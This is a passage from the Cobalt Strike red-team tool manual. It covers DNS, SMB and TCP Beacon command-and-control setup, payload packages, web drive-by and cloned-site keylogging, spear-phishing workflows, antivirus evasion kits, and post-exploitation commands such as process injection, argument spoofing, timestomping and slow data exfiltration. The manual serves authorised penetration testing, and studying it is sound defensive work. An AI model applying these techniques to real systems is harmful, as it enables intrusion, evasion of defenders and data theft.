80: socat TCP4-LISTEN:80,fork TCP4:192.168.12.100:80 4.6 DNS Beacon The DNS Beacon is a favorite Cobalt Strike feature. This payload uses DNS requests to beacon back to you. These DNS requests are lookups against domains that your Cobalt Strike team server is authoritative for. The DNS response tells Beacon to go to sleep or to connect to you to download tasks. The DNS response will also tell the Beacon how to download tasks from your team server. Figure 21. DNS Beacon in Action In Cobalt Strike 4.0 and later, the DNS Beacon is a DNS-only payload. There is no HTTP communication mode in this payload. This is a change from prior versions of the product. Data Channels Today, the DNS Beacon can download tasks over DNS TXT records, DNS AAAA records, or DNS A records. This payload has the flexibility to change between these data channels while its on target. Use Beacon’s mode command to change the current Beacon’s data channel. mode dns is the DNS A record data channel. mode dns6 is the DNS AAAA record channel. And, mode dns-txt is the DNS TXT record data channel. The default is the DNS TXT record data channel. Be aware that DNS Beacon does not check in until there’s a task available. Use the checkin command to request that the DNS Beacon check in next time it calls home. www.cobaltstrike.com/ / 26/ Listener Setup To create a DNS Beacon listener: go to Cobalt Strike -> Listeners, press Add, and select Beacon DNS as the Payload type. Figure 22. DNS Beacon Options Press [+] to add one or more domains to beacon to. Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server’s A record. The DNS Host (Stager) field configures the DNS Beacon’s TXT record stager. This stager is only used with Cobalt Strike features that require an explicit stager. Your Cobalt Strike team server system must be authoritative for this domain as well. To test your DNS configuration, open a terminal and type nslookup jibberish.beacon domain. If you get an A record reply of 0.0.0.0—then your DNS is correctly setup. If you do not get a reply, then your DNS configuration is not correct and the DNS Beacon will not communicate with you. Make sure your DNS records reference the primary address on your network interface. Cobalt Strike’s DNS server will always send responses from your network interface’s primary address. DNS resolvers tend to drop replies when they request information from one server, but receive a reply from another. www.cobaltstrike.com/ / 27/ If you are behind a NAT device, make sure that you use your public IP address for the NS record and set your firewall to forward UDP traffic on port 53 to your system. Cobalt Strike includes a DNS server to control Beacon. 4.7 SMB Beacon The SMB Beacon uses named pipes to communicate through a parent Beacon. This peer-to-peer communication works with Beacons on the same host. It also works across the network. Windows encapsulates named pipe communication within the SMB protocol. Hence, the name, SMB Beacon. To configure an SMB Beacon payload, go to Cobalt Strike -> Listeners. Press Add. Choose Beacon SMB as your payload option. Figure 23. SMB Beacon The only option associated with the SMB Beacon is the pipename. You can set an explicit pipename or accept the default option. The SMB Beacon is compatible with most actions in Cobalt Strike that spawn a payload. The exception to this are the user-driven attacks (e.g., Attacks -> Packages, Attacks -> Web Drive- by) that require explicit stagers. Cobalt Strike post-exploitation and lateral movement actions that spawn a payload will attempt to assume control of (link) to the SMB Beacon payload for you. If you run the SMB Beacon manually, you will need to link to it from a parent Beacon. Linking and Unlinking From the Beacon console, use link [host] [pipe] to link the current Beacon to an SMB Beacon that is waiting for a connection. When the current Beacon checks in, its linked peers will check in too. To blend in with normal traffic, linked Beacons use Windows named pipes to communicate. This traffic is encapsulated in the SMB protocol. There are a few caveats to this approach: 1. Hosts/with/an/SMB/Beacon/must/accept/connections/on/port/445./ 2. You/may/only/link/Beacons/managed/by/the/same/Cobalt/Strike/instance./ / www.cobaltstrike.com/ / 28/ If you get an error 5 (access denied) after you try to link to a Beacon: steal a domain user’s token or use make_token DOMAIN\user password to populate your current token with valid credentials for the target. Try to link to the Beacon again. To destroy a Beacon link use unlink [ip address] [session PID] in the parent or child. The [session PID] argument is the process ID of the Beacon to unlink. This value is how you specify a specific Beacon to de-link when there are multiple childn Beacons. When you de-link an SMB Beacon, it does not exit and go away. Instead, it goes into a state where it waits for a connection from another Beacon. You may use the link command to resume control of the SMB Beacon from another Beacon in the future. 4.8 TCP Beacon The TCP Beacon uses a TCP socket to communicate through a parent Beacon. This peer-to-peer communication works with Beacons on the same host and across the network. Figure 24. TCP Beacon To configure a TCP Beacon payload, go to Cobalt Strike -> Listeners. Press Add. Choose Beacon TCP as your payload option. The TCP Beacon configured in this way is a bind payload. A bind payload is one that waits for a connection from its controller (in this case, another Beacon session). The Port (C2) option controls the port the TCP Beacon will wait for connections on. Check Bind to localhost only to have the TCP Beacon bind to 127.0.0.1 when it listens for a connection. This is a good option if you use the TCP Beacon for localhost-only actions. The TCP Beacon is compatible with most actions in Cobalt Strike that spawn a payload. The exception to this are, similar to the SMB Beacon, the user-driven attacks (e.g., Attacks -> Packages, Attacks -> Web Drive-by) that require explicit stagers. Cobalt Strike post-exploitation and lateral movement actions that spawn a payload will attempt to assume control of (connect) to the TCP Beacon payload for you. If you run the TCP Beacon manually, you will need to connect to it from a parent Beacon. www.cobaltstrike.com/ / 29/ Connecting and Unlinking From the Beacon console, use connect [ip address] [port] to connect the current session to a TCP Beacon that is waiting for a connection. When the current session checks in, its linked peers will check in too. To destroy a Beacon link use unlink [ip address] [session PID] in the parent or child session console. Later, you may reconnect to the TCP Beacon from the same host (or a different host). 4.9 External C2 External C2 is a specification to allow third-party programs to act as a communication layer for Cobalt Strike’s Beacon payload. These third-party programs connect to Cobalt Strike to read frames destined for, and write frames with output from payloads controlled in this way. The External C2 server is what these third-party programs use to interface with your Cobalt Strike team server. Go to Cobalt Strike -> Listeners, press Add, and choose External C2 as your payload. Figure 25. External C2 The External C2 interface has two options. Port (Bind) specifies the port the External C2 server waits for connections on. Check Bind to localhost only to make the External C2 server localhost- only. External C2 listeners are not like other Cobalt Strike listeners. You cannot target these with Cobalt Strike’s post-exploitation actions. This option is just a convienence to stand up the interface itself. To learn more about External C2, visit the documentation at: https://www.cobaltstrike.com/help-externalc2 www.cobaltstrike.com/ / 30/ 4.10 Foreign Listeners Cobalt Strike supports the concept of foreign listeners. These are aliases for x86 payload handlers hosted in the Metasploit Framework or other instances of Cobalt Strike. To pass a Windows HTTPS Meterpreter session to a friend with msfconsole, setup a Foreign HTTPS payload and point the Host and Port values to their handler. You may use foreign listeners anywhere you would use an x86 Cobalt Strike listener. 4.11 Infrastructure Consolidation Cobalt Strike’s model for distributed operations is to stand up a separate team server for each phase of your engagement. For example, it makes sense to separate your post-exploitation and persistence infrastructure. If a post-exploitation action is discovered, you don’t want the remediation of that infrastructure to clear out the callbacks that will let you back into the network. Some engagement phases require multiple redirector and communication channel options. Cobalt Strike 4.0 is friendly to this. Figure 26. Infrastructure Consolidation Features You can bind multiple HTTP, HTTPS, and DNS listeners to a single Cobalt Strike team server. These payloads also support port bending in their configuration. This allows you to use the common port for your channel (80, 443, or 53) in your redirector and C2 setups, but bind these listeners to different ports to avoid port conflicts on your team server system. www.cobaltstrike.com/ / 31/ To give variety to your network indicators, Cobalt Strike’s Malleable C2 profiles may contain multiple variants. A variant is a way of adding variations of the current profile into one profile file. You may specify a Profile variant when you define each HTTP or HTTPS Beacon listener. Further, you can define multiple TCP and SMB Beacons on one team server, each with different pipe and port configurations. Any egress Beacon, from the same team server, can control any of these TCP or SMB Beacon payloads once they’re deployed in the target environment. 4.12 Payload Security Features Cobalt Strike takes steps to protect Beacons communication and to ensure that a Beacon can only receive tasks from and send output to its team server. When you setup the Beacon payload for the first time, Cobalt Strike will generate a public/private key pair that is unique to your team server. The team server’s public key is embedded into Beacon’s payload stage. Beacon uses the team server’s public key to encrypt session metadata that it sends to the team server. Beacon must always send session metadata before the team server can issue tasks and receive output from the Beacon session. This metadata contains a random session key generated by that Beacon. The team server uses each Beacon’s session key to encrypt tasks and to decrypt output. Each Beacon implementation and data channel uses this same scheme. You have the same security with the A record data channel in the Hybrid HTTP and DNS Beacon as you do with the HTTPS Beacon. Be aware that the above applies to Beacon once it is staged. The payload stagers, due to their size, do not have built-in security features. www.cobaltstrike.com/ / 32/ 5. Getting a Foothold 5.1 Client-side System Profiler The system profiler is a reconnaissance tool for client-side attacks. This tool starts a local web- server and fingerprints any one who visits it. The system profiler provides a list of applications and plugins it discovers through the user’s browser. The system profiler also attempts to discover the internal IP address of users who are behind a proxy server. To start the system profiler, go to Attacks -> Web Drive-by -> System Profiler. To start the profiler you must specify a URI to bind to and a port to start the Cobalt Strike web- server from. If you specify a Redirect URL, Cobalt Strike will redirect visitors to this URL once their profile is taken. Click Launch to start the system profiler. The System Profiler uses an unsigned Java Applet to decloak the target’s internal IP address and determine which version of Java the target has. With Java’s click-to-run security feature—this could raise suspicion. Uncheck the Use Java Applet to get information box to remove the Java Applet from the System Profiler. Check the Enable SSL box to serve the System Profiler over SSL. This box is disabled unless you specify a valid SSL certificate with Malleable C2. Chapter 11 discusses this. To view the results from the system profiler, go to View -> Applications. Cobalt Strike will list all of the applications it discovered during the system profiling process. 5.2 Cobalt Strike Web Services Many Cobalt Strike features run from their own web server. These services include the system profiler, HTTP Beacon, and Cobalt Strike’s web drive-by attacks. It’s OK to host multiple Cobalt Strike features on one web server. To manage Cobalt Strike’s web services, go to View -> Web Drive-by -> Manage. Here, you may copy any Cobalt Strike URL to the clipboard or stop a Cobalt Strike web service. Use View -> Web Log to monitor visits to your Cobalt Strike web services. If Cobalt Strike’s web server sees a request from the Lynx, Wget, or Curl browser; Cobalt Strike will automatically return a 404 page. Cobalt Strike does this as light protection against blue team snooping. 5.3 User-driven Attack Packages The best attacks are not exploits. Rather, the best attacks take advantage of normal features to get code execution. Cobalt Strike makes it easy to setup several user-driven attacks. These attacks take advantage of listeners you’ve already setup. Navigate to Attacks -> Packages and choose one of the following options. www.cobaltstrike.com/ / 33/ HTML Application An HTML Application is a Windows program written In HTML and an Internet Explorer- supported scripting language. This package generates an HTML Application that runs a Cobalt Strike payload. You may choose the Executable option to get an HTML Application that drops an executable to disk and runs it. Choose the PowerShell option to get an HTML Application that uses PowerShell to run a payload. Use the VBA option to silently spawn a Microsoft Excel instance and run a malicious macro that injects a payload into memory. MS Office Macro This package generates a Microsoft Office macro and presents instructions to embed the macro in Microsoft Word or Microsoft Excel. Payload Generator This package allows you to export Cobalt Strike’s stagers in a variety of formats. Windows Executable This package generates a Windows executable artifact that delivers a payload stager. This package gives you several output options. Windows EXE is a Windows executable. Windows Service EXE is a Windows executable that responds to Service Control Manager commands. You may use this executable to create a Windows service with sc or as a custom executable with the Metasploit Framework’s PsExec modules. Windows DLL (32-bit) is an x86 Windows DLL. Windows DLL (64-bit) is an x64 Windows DLL. This DLL will spawn a 32-bit process and migrate your listener to it. Both DLL options export a StartW function that is compatible with rundll32.exe. Use rundll32.exe to load your DLL from the command line. rundll32 foo.dll,StartW Check the Use x64 payload box to generate x64 artifacts that pair with an x64 stager. Check the Sign executable file box to sign an EXE or DLL artifact with a code-signing certificate. You must specify a certificate in a Malleable C2 profile. Windows Executable (S) This package exports Beacon, without a stager, as an executable, service executable, 32-bit DLL, or 64-bit DLL. A payload artifact that does not use a stager is called a stageless artifact. This package also has a PowerShell option to export Beacon as a PowerShell script and a raw option to export Beacon as a blob of position independent code. By default, this dialog exports x86 payload stages. Check the Use x64 payload box to generate an x64 stage with an x64 artifact. www.cobaltstrike.com/ / 34/ Check the Sign executable file box to sign an EXE or DLL artifact with a code-signing certificate. 5.4 Hosting Files Cobalt Strike’s web server can host your user-driven packages for you. Go to Attacks -> Web Drive-by -> Host File to set this up. Choose the file to host, select an arbitrary URL, and choose the mime type for the file. By itself, the capability to host a file isn’t very impressive. However, in a moment, you will learn how to embed Cobalt Strike URLs into a spear phishing email. When you do this, Cobalt Strike can cross-reference visitors to your file with sent emails and include this information in the social engineering report. 5.5 User-driven Web Drive-by Attacks Cobalt Strike makes several tools to setup web drive-by attacks available to you. To quickly start an attack, go to Attacks -> Web Drive-by and choose an option: Java Signed Applet Attack This attack starts a web server hosting a self-signed Java applet. Visitors are asked to give the applet permission to run. When a visitor grants this permission, you gain access to their system. The Java Signed Applet Attack uses Cobalt Strike’s Java injector. On Windows, the Java injector will inject shellcode for a Windows listener directly into memory for you. To get the most mileage from this attack, you will want to download the Applet Kit from the Cobalt Strike arsenal and sign it with a code signing certificate. Java Smart Applet Attack Cobalt Strike’s Smart Applet Attack combines several exploits to disable the Java security sandbox into one package. This attack starts a web server hosting a Java applet. Initially, this applet runs in Java’s security sandbox and it does not require user approval to start. The applet analyzes its environment and decides which Java exploit to use. If the Java version is vulnerable, the applet will disable the security sandbox, and execute a payload using Cobalt Strike’s Java injector. Scripted Web Delivery (S) This feature generates a stageless Beacon payload artifact, hosts it on Cobalt Strike’s web server, and presents a one-liner to download and run the artifact. The options are: bitsadmin, powershell, and python. The bitsadmin option hosts an executable and uses bitsadmin to download it. The bitsadmin method runs the executable via cmd.exe. The exe option generates an executable and hosts it on Cobalt Strike's web server. The powershell option hosts a PowerShell script and uses powershell.exe to download the script and evaluate it. The python option hosts a Python script and uses python.exe to download the script and run it. Each of these options is a different way to run a Cobalt Strike listener. www.cobaltstrike.com/ / 35/ 5.6 Client-side Exploits You may use a Metasploit Framework exploit to deliver a Cobalt Strike Beacon. Cobalt Strike’s Beacon is compatible with the Metasploit Framework’s staging protocol. To deliver a Beacon with a Metasploit Framework exploit: • Use/windows/meterpreter/reverse_http[s]/as/your/PAYLOAD/and/set/LHOST/and/ LPORT/to/point/to/your/Cobalt/Strike/listener./You’re/not/really/delivering/ Meterpreter/here,/you’re/telling/the/Metasploit/Framework/to/generate/the/HTTP[s]/ stager/that/downloads/a/payload/from/the/specified/LHOST/LPORT.// • Set/DisablePayloadHandler/to/True./This/will/tell/the/Metasploit/Framework/to/avoid/ standing/up/a/handler/within/the/Metasploit/Framework/to/service/your/payload/ connection./ • Set/PrependMigrate/to/True./This/option/tells/the/Metasploit/Framework/to/prepend/ shellcode/that/runs/the/payload/stager/in/another/process./This/helps/your/Beacon/ session/survives/if/the/exploited/application/crashes/or/if/it’s/closed/by/a/user./ Here’s a screenshot of msfconsole used to stand up a Flash Exploit to deliver Cobalt Strike’s HTTP Beacon hosted at 192.168.1.5 on port 80: Figure 27. Using Client-side Attacks from Metasploit 5.7 Clone a Site Before sending an exploit to a target, it helps to dress it up. Cobalt Strike’s website clone tool can help with this. The website clone tool makes a local copy of a website with some code added to fix links and images so they work as expected. To clone a website, go to Attacks -> Web Drive-by -> Clone Site. www.cobaltstrike.com/ / 36/ It’s possible to embed an attack into a cloned site. Write the URL of your attack in the Embed field and Cobalt Strike will add it to the cloned site with an IFRAME. Click the ... button to select one of the running client-side exploits. Figure 28. Website Clone Tool Cloned websites can also capture keystrokes. Check the Log keystrokes on cloned site box. This will insert a JavaScript key logger into the cloned site. To view logged keystrokes or see visitors to your cloned site, go to View -> Web Log. 5.8 Spear Phishing Targets Now that you have an understanding of client-side attacks, let’s talk about how to get the attack to the user. The most common way into an organization’s network is through spear phishing. Before you send a phishing message, you should assemble a list of targets. Cobalt Strike expects targets in a text file. Each line of the file contains one target. The target may be an email address. You may also use an email address, a tab, and a name. If provided, a name helps Cobalt Strike customize each phish. Templates Next, you need a phishing template. The nice thing about templates is that you may reuse them between engagements. Cobalt Strike uses saved email messages as its templates. Cobalt Strike will strip attachments, deal with encoding issues, and rewrite each template for each phishing attack. If you’d like to create a custom template, compose a message and send it to yourself. Most email clients have a way to get the original message source. In Gmail, click the down arrow next to Reply and select Show original. Save this message to a file and then congratulate yourself— you’ve made your first Cobalt Strike phishing template. www.cobaltstrike.com/ / 37/ You may want to customize your template with Cobalt Strike’s tokens. Cobalt Strike replaces the following tokens in your templates: Token Description %To% The email address of the person the message is sent to %To_Name% The name of the person the message is sent to. %URL% The contents of the Embed URL field in the spear phishing dialog. Sending Messages Now that you have your targets and a template, you’re ready to go phishing. To start the spear phishing tool, go to Attacks -> Spear Phish. Figure 29. Spear Phishing Tool To send a phishing message, you must first import your targets. Click the folder next to the Targets field to import your targets file. Next, choose your template file. Click on the folder next to the Template field to choose one. Now, you have the option to attach a file if you choose. This is a great time to use one of the social engineering packages discussed earlier. Cobalt Strike will add your attachment to the outgoing phishing message. You may also ask Cobalt Strike to rewrite all URLs in the template with a URL of your choosing. Paste in the URL or press ... to choose one of the tools hosted by Cobalt Strike. Cobalt Strike tools include cloned websites, the auto-exploit server, and the system profiler. When you embed a URL, Cobalt Strike will attach ?id=%TOKEN% to it. Each sent message will get its own token. Cobalt Strike uses this token to map website visitors to sent emails. If you care about reporting, be sure to keep this value in place. www.cobaltstrike.com/ / 38/ Set Mail Server to an open relay or the mail exchange record for your target. If necessary, you may also authenticate to a mail server to send your phishing messages. Press … next to the Mail Server field to configure additional server options. You may specify a username and password to authenticate with. The Random Delay option tells Cobalt Strike to randomly delay each message by a random time, up to the number of seconds you specify. If this option is not set, Cobalt Strike will not delay its messages. Figure 30. Configure Mail Server Set Bounce To to an email address where bounced messages should go. This value will not affect the message your targets see. Press Preview to see an assembled message to one of your recipients. If the preview looks good, press Send to deliver your attack. Cobalt Strike sends phishing messages through the team server. www.cobaltstrike.com/ / 39/ 6. Payload Artifacts and Anti-virus Evasion 6.1 Philosophy Strategic Cyber LLC regularly fields questions that ask about evasion. Does Cobalt Strike bypass anti-virus products? Which anti-virus products does it bypass? How often is this checked? The Cobalt Strike default artifacts are likely snagged by most endpoint security solutions. Evasion is not a goal of the default Cobalt Strike product. Cobalt Strike’s does offer flexibility. You, the operator, may change the executables, DLLs, applets, and script templates Cobalt Strike uses in its workflows. You may also export Cobalt Strike’s Beacon payload in a variety of formats that work with third-party tools designed to assist with evasion. This chapter will highlight the Cobalt Strike features that provide this flexibility. 6.2 The Artifact Kit Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Theory of the Artifact Kit Traditional anti-virus products use signatures to identify known bad. If we embed our known bad shellcode into an executable, an anti-virus product will recognize the shellcode and flag the executable as malicious. To defeat this detection, it’s common for an attacker to obfuscate the shellcode in some way and place it in the binary. This obfuscation process defeats anti-virus products that use a simple string search to identify malicious code. Many anti-virus products go a step further. These anti-virus products simulate execution of an executable in a virtual sandbox. With each emulated step of execution, the anti-virus product checks for known bad in the emulated process space. If known bad shows up, the anti-virus product flags the executable or DLL as malicious. This technique defeats many encoders and packers that try to hide known bad from signature-based anti-virus products. Cobalt Strike’s counter to this is simple. The anti-virus sandbox has limitations. It is not a complete virtual machine. There are system behaviors the anti-virus sandbox does not emulate. The Artifact Kit is a collection of executable and DLL templates that rely on some behavior that anti-virus product’s do not emulate to recover shellcode located inside of the binary. One of the techniques [see: src-common/bypass-pipe.c in the Artifact Kit] generates executables and DLLs that serve shellcode to themselves over a named pipe. If an anti-virus sandbox does not emulate named pipes, it will not find the known bad shellcode. www.cobaltstrike.com/ / 40/ Where Artifact Kit Fails Of course it’s possible for anti-virus products to defeat specific implementations of the Artifact Kit. If an anti-virus vendor writes signatures for the Artifact Kit technique you use, then the executables and DLLs it creates will get caught. This started to happen, over time, with the default bypass technique in Cobalt Strike 2.5 and below. If you want to get the most from the Artifact Kit, you will use one of its techniques as a base to build your own Artifact Kit implementation. Even that isn’t enough though. Some anti-virus products call home to the anti-virus vendor’s servers. There the vendor makes a determination if the executable or DLL is known good or an unknown, never before seen, executable or DLL. Some of these products automatically send unknown executables and DLLs to the vendor for further analysis and warn the users. Others treat unknown executables and DLLs as malicious. It depends on the product and its settings. The point: no amount of “obfuscation” is going to help you in this situation. You’re up against a different kind of defense and will need to work around it accordingly. Treat these situations the same way you would treat application whitelisting. Try to find a known good program (e.g., powershell) that will get your payload stager into memory. How to use the Artifact Kit Go to Help -> Arsenal from a licensed Cobalt Strike to download the Artifact Kit. You can also access the Arsenal directly at: https://www.cobaltstrike.com/scripts Strategic Cyber LLC distributes the Artifact Kit as a .tgz file. Use the tar command to extract it. The Artifact Kit includes a build.sh script. Run this script on Kali Linux, with no arguments, to build the default Artifact Kit techniques with the Minimal GNU for Windows Cross Compiler. Figure 31. The Artifact Kit Build Process The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique’s folder. You’re encouraged to modify the Artifact Kit and its techniques to make it meet your needs. While skilled C programmers can do more with the Artifact Kit, it’s quite feasible for an www.cobaltstrike.com/ / 41/ adventurous non-programmer to work with the Artifact Kit too. For example, a major anti-virus product likes to write signatures for the executables in Cobalt Strike’s trial each time there is a release. Up until Cobalt Strike 2.5, the trial and licensed versions of Cobalt Strike used the named pipe technique in its executables and DLLs. This vendor would write a signature for the named pipe string the executable used. Defeating their signatures, release after release, was as simple as changing the name of the pipe in the pipe technique’s source code. 6.3 The Veil Evasion Framework Veil is a popular framework to generate executables that get past some anti-virus products. You may use Veil to generate executables for Cobalt Strike’s payloads. Go to Attacks -> Packages - > Payload Generator. Choose the listener you want to generate an executable for. Select Veil as the Output type. Press Generate and save the file. Launch the Veil Evasion Framework and choose the technique you want to use. Veil will eventually ask about shellcode. Select Veil’s option to supply custom shellcode. Paste in the contents of the file Cobalt Strike’s payload generator made. Press enter and you will have a fresh Veil-made executable. Figure 32. Using Veil to Generate an Executable 6.4 Java Applet Attacks Strategic Cyber LLC distributes the source code to Cobalt Strike’s Applet Attacks as the Applet Kit. This is also available within the Cobalt Strike arsenal. Go to Help -> Arsenal and download the Applet Kit. Use the included build.sh script to build the Applet Kit on Kali Linux. Many Cobalt Strike customers use this flexibility to sign Cobalt Strike’s Java Applet attacks with a code-signing certificate that they purchased. This is highly recommended. To make Cobalt Strike use your Applet Kit over the built-in one, load the applet.cna script included with the Applet Kit. www.cobaltstrike.com/ / 42/ On the Cobalt Strike Arsenal Page you will also notice the Power Applet. This is an alternate implementation of Cobalt Strike’s Java Applet attacks that uses PowerShell to get a payload into memory. The Power Applet demonstrates the flexibility you have to recreate Cobalt Strike’s standard attacks in a completely different way and still use them with Cobalt Strike’s workflows. To make Cobalt Strike use your Applet Kit over the built-in one, load the applet.cna script included with the Applet Kit. 6.5 The Resource Kit The Resource Kit is Cobalt Strike’s means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows. Again, the Resource Kit is available to licensed users in the Cobalt Strike arsenal. Go to Help -> Arsenal to download the Resource Kit. The README.txt IIed with the Resource Kit documents the included scripts and which features use them. To evade a product, consider changing strings or behaviors in these scripts. To make Cobalt Strike use your script templates over the built-in script templates, load the resources.cna script included with the Resource Kit. www.cobaltstrike.com/ / 43/ 7. Post Exploitation 7.1 The Beacon Console Right-click on a Beacon session and select interact to open that Beacon’s console. The console is the main user interface for your Beacon session. The Beacon console allows you to see which tasks were issued to a Beacon and to see when it downloads them. The Beacon console is also where command output and other information will appear. Figure 33. Cobalt Strike Beacon Console In between the Beacon console’s input and output is a status bar. This status bar contains information about the current session. In its default configuration, the statusbar shows the target’s NetBIOS name, the username and PID of the current session, and the Beacon’s last check-in time. Each command that’s issued to a Beacon, whether through the GUI or the console, will show up in this window. If a teammate issues a command, Cobalt Strike will pre-fix the command with their handle. You will likely spend most of your time with Cobalt Strike in the Beacon console. It’s worth your time to become familiar with its commands. Type help in the Beacon console to see available commands. Type help followed by a command name to get detailed help. 7.2 The Beacon Menu Right-click on a Beacon or inside of a Beacon’s console to access the Beacon menu. This is the same menu used to open the Beacon console. The Access menu contains options to manipulate trust material and elevate your access. The Explore menu consists of options to extract information and interact with the target’s system. The Pivoting menu is where you can setup tools to tunnel traffic through a Beacon. The Session menu is where you manage the current Beacon session. www.cobaltstrike.com/ / 44/ Figure 34. Cobalt Strike Beacon Menu Some of Cobalt Strike’s visualizations (the pivot graph and sessions table) let you select multiple Beacons at one time. Most actions that happen through this menu will apply to all selected Beacon sessions. 7.3 Asynchronous and Interactive Operations Be aware that Beacon is an asynchronous payload. Commands do not execute right away. Each command goes into a queue. When the Beacon checks in (connects to you), it will download these commands and execute them one by one. At this time, Beacon will also report any output it has for you. If you make a mistake, use the clear command to clear the command queue for the current Beacon. By default, Beacons check in every sixty seconds. You may change this with Beacon’s sleep command. Use sleep followed by a time in seconds to specify how often Beacon should check in. You may also specify a second number between 0 and 99. This number is a jitter factor. Beacon will vary each of its check in times by the random percentage you specify as a jitter factor. For example, sleep 300 20, will force Beacon to sleep for 300 seconds with a 20% jitter percentage. This means, Beacon will sleep for a random value between 240s to 300s after each check-in. To make a Beacon check in multiple times each second, try sleep 0. This is interactive mode. In this mode commands will execute right away. You must make your Beacon interactive before you tunnel traffic through it. A few Beacon commands (e.g., browserpivot, desktop, etc.) will automatically put Beacon into interactive mode at the next check in. 7.4 Running Commands Beacon’s shell command will task a Beacon to execute a command via cmd.exe on the compromised host. When the command completes, Beacon will present the output to you. Use the run command to execute a command without cmd.exe. The run command will post output to you. The execute command runs a program in the background and does not capture output. www.cobaltstrike.com/ / 45/ Use the powershell command to execute a command with PowerShell on the compromised host. Use the powerpick command to execute PowerShell cmdlets without powershell.exe. This command relies on the Unmanaged PowerShell technique developed by Lee Christensen. The powershell and powerpick commands will use your current token. The psinject command will inject Unmanaged PowerShell into a specific process and run your cmdlet from that location. The powershell-import command will import a PowerShell script into Beacon. Future uses of the powershell, powerpick, and psinject commands will have cmdlets from the imported script available to them. Beacon will only hold one PowerShell script at a time. Import an empty file to clear the imported script from Beacon. The execute-assembly command will run a local .NET executable as a Beacon post-exploitation job. You may pass arguments to this assembly as if it were run from a Windows command-line interface. This command will also inherit your current token. If you want Beacon to execute commands from a specific directory, use the cd command in the Beacon console to switch the working directory of the Beacon’s process. The pwd command will tell you which directory you’re currently working from. The setenv command will set an environment variable. Beacon can execute Beacon Object Files without creating a new process. Beacon Object Files are compiled C programs, written to a specific convention, that run within a Beacon session. Use inline-execute [args] to execute a Beacon Object File with the specified arguments. More information Beacon Object Files is at: https://www.cobaltstrike.com/help-beacon-object-files 7.5 Session Passing Cobalt Strike’s Beacon started out as a stable lifeline to keep access to a compromised host. From day one, Beacon’s primary purpose was to pass accesses to other Cobalt Strike listeners. Use the spawn command to spawn a session for a listener. The spawn command accepts an architecture (e.g., x86, x64) and a listener as its arguments. By default, the spawn command will spawn a session in rundll32.exe. An alert administrator may find it strange that rundll32.exe is periodically making connections to the internet. Find a better program (e.g., Internet Explorer) and use the spawnto command to state which program Beacon should spawn for its sessions. The spawnto command requires you to specify an architecture (x86 or x64) and a full path to a program to spawn, as needed. Type spawnto by itself and press enter to instruct Beacon to go back to its default behavior. www.cobaltstrike.com/ / 46/ Type inject followed by a process id and a listener name to inject a session into a specific process. Use ps to get a list of processes on the current system. Use inject [pid] x64 to inject a 64-bit Beacon into an x64 process. The spawn and inject commands both inject a payload stage into memory. If the payload stage is an HTTP, HTTPS, or DNS Beacon and it can’t reach you—you will not see a session. If the payload stage is a bind TCP or SMB Beacon, these commands will automatically try to link to and assume control of these payloads. Use dllinject [pid] to inject a Reflective DLL into a process. Use the shinject [pid] [architecture] [/path/to/file.bin] command to inject shellcode, from a local file, into a process on target. Use shspawn [architecture] [/path/to/file.bin] to spawn the “spawn to” process and inject the specified shellcode file into that process. Use dllload [pid] [c:\path\to\file.dll] to load an on-disk DLL in another process. 7.6 Alternate Parent Processes Use ppid [pid] to assign an alternate parent process for programs run by your Beacon session. This is a means to make your activity blend in with normal actions on the target. The current Beacon session must have rights to the alternate parent and it’s best if the alternate parent process exists in the same desktop session as your Beacon. Type ppid, with no arguments, to have Beacon launch processes with no spoofed parent. The runu command will execute a command with another process as the parent. This command will run with the rights and desktop session of its alternate parent process. The current Beacon session must have full rights to the alternate parent. The spawnu command will spawn a temporary process, as a child of a specified process, and inject a Beacon payload stage into it. The spawnto value controls which program is used as a temporary process. 7.7 Spoof Process Arguments Each Beacon has an internal list of commands it should spoof arguments for. When Beacon runs a command that matches a list, Beacon: 1. Starts the matched process in a suspended state (with the fake arguments) 2. Updates the process memory with the real arguments 3. Resumes the process The effect is that host instrumentation recording a process launch will see the fake arguments. This helps mask your real activity. Use argue [command] [fake arguments] to add a command to this internal list. The [command] portion may contain an environment variable. Use argue [command] to remove a command from this internal list. argue, by itself, lists the commands in this internal list. The process match logic is exact. If Beacon tries to launch “net.exe”, it will not match net, NET.EXE, or c:\windows\system32\net.exe from its internal list. It will only match net.exe. www.cobaltstrike.com/ / 47/ x86 Beacon can only spoof arguments in x86 child processes. Likewise, x64 Beacon can only spoof arguments in x64 child processes. The real arguments are written to the memory space that holds the fake arguments. If the real arguments are longer than the fake arguments, the command launch will fail. 7.8 Blocking DLLs in Child Processes Use blockdlls start to ask Beacon to launch child processes with a binary signature policy that blocks non-Microsoft DLLs from the process space. Use blockdlls stop to disable this behavior. This feature requires Windows 10. 7.9 Upload and Download Files The download command will download the requested file. You do not need to provide quotes around a filename with spaces in it. Beacon is built for low and slow exfiltration of data. During each check-in, Beacon will download a fixed chunk of each file its tasked to get. The size of this chunk depends on Beacon’s current data channel. The HTTP and HTTPS channels pull data in 512KB chunks. Type downloads to see a list of file downloads in progress for the current Beacon. Use the cancel command, followed by a filename, to cancel a download that’s in progress. You may use wildcards with your cancel command to cancel multiple file downloads at once. Go to View -> Downloads in Cobalt Strike to see the files that your team has downloaded so far. Only completed downloads will show up in this tab. Downloaded files are stored on the team server. To bring files back to your system, highlight them here, and press Sync Files. Cobalt Strike will then download the selected files to a folder of your choosing on your system. The upload command will upload a file to the host. When you upload a file, you will sometimes want to update its timestamps to make it blend in with other files in the same folder. Use the timestomp command to do this. The timestomp command will match the Modified, Accessed, and Created times of one file to another file. 7.10 File Browser Beacon’s File Browser is an opportunity to explore the files on a compromised system. Go to [Beacon] -> Explore -> File Browser to open it. The file browser will request a listing for the current working directory of Beacon. When this result arrives, the file browser will populate. The left-hand side of the file browser is a tree which organizes the known drives and folders into one view. The right-hand side of the file browser shows the contents of the current folder. www.cobaltstrike.com/ / 48/ Figure 35. File Browser Each file browser caches the folder listings it receives. A colored folder indicates the folder’s contents are in this file browser’s cache. You may navigate to cached folders without generating a new file listing request. Press Refresh to ask Beacon to update the contents of the current folder. A dark-grey folder means the folder’s contents are not in this file browser’s cache. Click on a folder in 